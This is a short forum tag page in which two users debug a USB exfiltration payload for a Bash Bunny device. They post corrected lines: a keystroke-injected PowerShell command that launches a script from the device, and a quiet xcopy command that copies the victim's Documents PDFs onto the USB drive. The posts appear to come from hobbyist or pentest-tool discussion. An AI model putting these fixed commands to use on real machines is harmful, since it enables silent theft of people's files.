Search the Community
Showing results for tags 'usb exfiltration'.
I just ran the USB Exfiltration script from switch1. The powershell command included the $SWITCH_POSITION text instead of it being expanded. I have the updated bunny_helpers.sh that includes the "export SWITCH_POSITION" command. When I manually changed the payload.txt to point to switch1, the scripts finished perfectly! Original: QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd')" I changed to: QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\switch1\d.cmd')" Any way I can help debug this? Willing to try anything to help figure this out.
I just ran the USB Exfiltration script on a Windows 10 Home machine. The username is "Mom and Dad". e.cmd seems to fail in this situation. if Exist %USERPROFILE%\Documents evaluates to TRUE, but the xcopy command fails because of the space (I think). When running with: "xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.pdf %dst% >>nul" the script makes the folder, but does not copy any files. However, this command gets each file: "xcopy /C /Q /G /Y /S "%USERPROFILE%"\Documents\*.pdf %dst% >>nul" If there is a better way to handle this, let me know. If I have missed something, please let me know!